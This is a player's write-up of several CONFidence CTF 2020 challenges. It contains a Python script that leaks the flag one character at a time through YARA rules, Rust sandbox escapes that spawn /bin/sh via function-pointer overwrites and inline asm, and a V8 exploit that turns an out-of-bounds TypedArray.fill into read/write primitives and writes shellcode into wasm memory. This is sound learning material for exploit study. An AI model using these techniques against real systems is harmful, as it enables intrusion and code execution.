I played CONFidence CTF 2020 in zer0pts. We got 786pts in total and reached 19th place.
It was pretty hard but a fun CTF.
Other members' writeups:
Files and solvers for some challenges:
- [misc 37pts] Hidden Flag
- [pwn 175pts] crusty sandbox
- [pwn 91pts] crsty sndbx
- [pwn 182pts] Chromatic Aberration
We can compile and apply some yara rules.
I sent the following rule and it detected a file /opt/bin/getflag
.
rule Test: test { strings: $str_upx = "p4{" condition: $str_upx }
yoshiking found the 4th character could also be found with the simple rule. I wrote a script to leak the flag.
import json import requests import string flag = "p4{" while True: for c in "-}" + string.printable[:-6]: rule = """ rule Test: test {{ strings: $str = "{}" condition: $str }} """.format(flag + c) headers = {"Content-Type": "application/json"} payload = { "method": "query", "raw_yara": rule } r = requests.post("http://hidden.zajebistyc.tf/api/query/medium", data=json.dumps(payload), headers=headers) hashval = json.loads(r.text)["query_hash"] r = requests.get("http://hidden.zajebistyc.tf/api/matches/{}".format(hashval), params={"offset":0, "limit":50}) if json.loads(r.text)["matches"]: flag += c print(flag) break
yoshiking found the whole flag by hand before the script finds all the characters. How? :thinking_face:
The server executes some Rust codes.
It seems crates such as std
are banned except for println!
and printf!
.
I found the following line may enable unsafe
function of rust.
#![allow(unsafe_code)]
However, as I am really new to Rust, I took a very hard way to solve this task. In rust we can use pointer like C in an unsafe block.
I put some function pointers on the stack. Also, I leaked a variable pointer and modified it to one of the function pointers. In an unsafe block, we can overwrite the data located at a specific address. So, by changing the function pointer to a shellcode address, we can get the shell just by calling the function.
I used "bring your own gadget" to prepare the shellcode in an executable region.
For example, the following code creates xor esi, esi; xor edx, edx; mov al, 59, syscall
gadget.
let code1 = 0x050f3bb0c031f631;
My exploit is very dirty as I'm new to Rust and also I was too careful to keep the code after the optimization.
#![allow(unsafe_code)] fn dummy1(a: &str, b: usize, c: usize) { if c > b { dummy1(a, b+1, c+1); gadget(a, b, c); } } fn dummy2(a: &str, b: usize, c: usize) { if c > b { dummy2(a, b+1, c+1); } } fn gadget(c: &str, b: usize, a: usize) { let mut code1 = 1; let mut code2 = 1; if a < b { code1 += 0x050f3bb0c031f631; code2 += 0xdeadbeefcafebabe; } else { code1 += 0xbeef; } if a < b { gadget(c, a, code1-code2-1); } } fn evil() { unsafe { let leak_me = 0usize; let address = &leak_me as *const usize; println!("stack = {:p}", address); let xxx = address.offset(0x33 + 3); for _x in 0..3 { let ptr = xxx as *mut usize; let addr = *ptr as *mut usize; println!("{:p}: 0x{:x}", addr, *addr) } for x in 0..3 { let target = address.offset(0x33 + x); let ptr = target as *mut usize; let proc_base = *ptr; println!("proc = 0x{:x}", proc_base); let ptr2 = xxx as *mut usize; let addr_gadget = *ptr2 as usize; *ptr = addr_gadget + 0x4f; } } } fn caller(f: fn(&str, usize, usize), g: fn(&str, usize, usize)) { let binsh = "/bin/sh"; let table : [fn(&str, usize, usize); 5]; let a = f as usize; let b = g as usize; if a == b { table = [g,g,gadget,g,g]; } else { table = [f,f,gadget,f,f]; } evil(); let idx: usize; if a == b { idx = 0; } else { idx = 1; }; table[idx](binsh, 0, 0); if a == b { caller(f, g); } } pub fn main() { caller(dummy1, dummy2); }
Yay!
$ python solve.py [+] __init__: Successfully connected to crusty-sandbox.zajebistyc.tf:31003 [ptrlib]$ stack = 0x7ffde126d1b0 0x201170: 0x2444c74858ec8348 0x201170: 0x2444c74858ec8348 0x201170: 0x2444c74858ec8348 proc = 0x201000 proc = 0x201000 proc = 0x201000 ls [ptrlib]$ app-c2bb5025a1bb bin get_flag lib lib64 proc tmp usr ./get_flag [ptrlib]$ p4{cuRSed_c0d3-by_d3s1gn_ebf8745b92ef}
Now, the server accepts only 350 bytes.
I reduced the code to 338 bytes, which worked on the crusty sandbox
challenge.
#![allow(unsafe_code)] fn p(a:&str,b:usize){let x=0x50f3bb0c031f631usize;println!("{}",x);if a==""{p(a,b);}} fn e(){unsafe{let k=0usize;let x=&k as *const usize;let t=x.offset(14);let a=t as *mut usize;println!("{:x}",*a);*a=0x2019ca;}} fn c(f:fn(&str,usize)){let t=[f,p,f];e();let i=0;t[i]("/bin/sh\0",0);if i>0{c(f)}} pub fn main(){c(p);}
However, this code didn't work in the crsty sndbx
server somehow.
After several trial, I found asm!
keyword.
So, we can solve these two challenges with the following code.
#![allow(unsafe_code)] pub fn main(){ unsafe { let buf = "/bin/sh\0"; asm!("syscall" : : "{rax}"(59), "{rdi}"(buf.as_ptr()), "{rsi}"(0), "{rdx}"(0) : "rcx", "r11", "memory" : "volatile"); } }
$ python solve.py [+] __init__: Successfully connected to crsty-sndbx.zajebistyc.tf:31005 269 [ptrlib]$ ls [ptrlib]$ app-c2bb5025a1bb bin get_flag lib lib64 proc tmp usr ./get_flag [ptrlib]$ p4{my_sc0re_w@s_286_l3t_me_kn0w_1f_y0u_b3@t_1t_0adad38edc24}
Unfortunately this is an unintended solution, which most of the players may have used. However, I like this challenge as I learned a lot about Rust exploit.
It's a v8 exploit challenge. The important patch is this one.
@@ -131,13 +131,15 @@ BUILTIN(TypedArrayPrototypeFill) { if (!num->IsUndefined(isolate)) { ASSIGN_RETURN_FAILURE_ON_EXCEPTION( isolate, num, Object::ToInteger(isolate, num)); - start = CapRelativeIndex(num, 0, len); + //start = CapRelativeIndex(num, 0, len); + start = CapRelativeIndex(num, 0, 100000000); num = args.atOrUndefined(isolate, 3); if (!num->IsUndefined(isolate)) { ASSIGN_RETURN_FAILURE_ON_EXCEPTION( isolate, num, Object::ToInteger(isolate, num)); - end = CapRelativeIndex(num, 0, len); + //end = CapRelativeIndex(num, 0, len); + end = CapRelativeIndex(num, 0, 100000000); } } }
So, there's an error in the boundary check of TypedArray.Prototype.fill
.
The following code causes a simple crash.
console.log(new Uint8Array([1,2,3]).fill(1, 0, 100));
As this is just an out-of-bound write vulnerability, we have to make a AAR/AAW. With this vulnerability, we can change the length of an adjacent array, which in turn causes a simple out of bounds. Also, we can overwrite the pointer, which enables us to read/write any addresses.
We get AAR/AAW primitives but how can we get the shell?
The V8 engine is pretty new in this challenge. I tried to use JIT code but it was not writable as the v8 is new.
My solution is WebAssembly. WebAssembly codes are also compiled like a normal JIT, but it's writable! The pointer to the wasm code could be found in the heap.
I overwrote the wasm region with my shellcode and could get the shell locally.
function zfill(n, digit) { var zeros = Array(digit + 1).join("0"); return (zeros + n).slice(-digit); } function pretty(high, low) { return zfill(high.toString(16), 8) + zfill(low.toString(16), 8) } function LEAK() { var a = new Uint32Array([0xde, 0xad, 0xbe, 0xef]); var b = new Uint32Array([0xca, 0xfe, 0xba, 0xbe]); var c = new Uint32Array([0x12, 0x34, 0x56, 0x78]); a.fill(0x0100, 55, 56); var heap_hi = b[15]; var heap_lo = b[16]; a.fill(0x0004, 55, 56); delete a; delete b; delete c; return [heap_hi, heap_lo]; } function ADDROF(x) { var a = new Uint32Array([0xde, 0xad, 0xbe, 0xef]); var b = new Uint32Array([0xca, 0xfe, 0xba, 0xbe]); var c = [x, x, x, x]; a.fill(0x0100, 55, 56); var low = b[23]; a.fill(0x0004, 55, 56); delete a; delete b; delete c; return low; } function AAR64(high, low) { var a = new Uint32Array([0xde, 0xad, 0xbe, 0xef]); var b = new Uint32Array([0xca, 0xfe, 0xba, 0xbe]); var c = new Uint32Array([0x12, 0x34, 0x56, 0x78]); a.fill(0x0100, 55, 56); var orig_hi = b[0x3a]; var orig_lo = b[0x3b]; b[0x3a] = high; b[0x3b] = (low - 8) | 1; var data_hi = c[1]; var data_lo = c[0]; b[0x3a] = orig_hi; b[0x3b] = orig_lo; a.fill(0x0004, 55, 56); delete a; delete b; delete c; return [data_hi, data_lo]; } function AAW(high, low, array) { var a = new Uint32Array([0xde, 0xad, 0xbe, 0xef]); var b = new Uint32Array([0xca, 0xfe, 0xba, 0xbe]); var c = new Uint32Array([0x12, 0x34, 0x56, 0x78]); a.fill(0x0100, 55, 56); var orig_hi = b[0x3a]; var orig_lo = b[0x3b]; b[0x37] = array.length; b[0x3a] = high; b[0x3b] = (low - 8) | 1; for(var i = 0; i < array.length; i++) { c[i] = array[i]; } b[0x3a] = orig_hi; b[0x3b] = orig_lo; a.fill(0x0004, 55, 56); delete a; delete b; delete c; return; } var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasm_mod = new WebAssembly.Module(wasm_code); var wasm_instance = new WebAssembly.Instance(wasm_mod); var f = wasm_instance.exports.main; var heap = LEAK(); low = ADDROF(f) - 0xb9; console.log("&ptr(f) = " + pretty(heap[0], low)); code = AAR64(heap[0], low) console.log(" ptr(f) = " + pretty(code[0], code[1])); shellcode = [0xbb48c031, 0x91969dd1, 0xff978cd0, 0x53dbf748, 0x52995f54, 0xb05e5457, 0x90050f3b]; AAW(code[0], code[1], shellcode); f();
Cool!
ptr:~/chromatic_aberration$ ./bin/d8 exploit.js &ptr(f) = 000016070820f0ac ptr(f) = 0000324066fb5000 $ whoami ptr
However, my exploit didn't work in remote because the author set a very strict memory limitation: 64M. We can't even create one single wasm instance with 1M memory region.
Although I couldn't solve the challenge because of this restriction, it was a very fun challenge as this is my first browser exploit. I leaned a lot and enjoyed it :)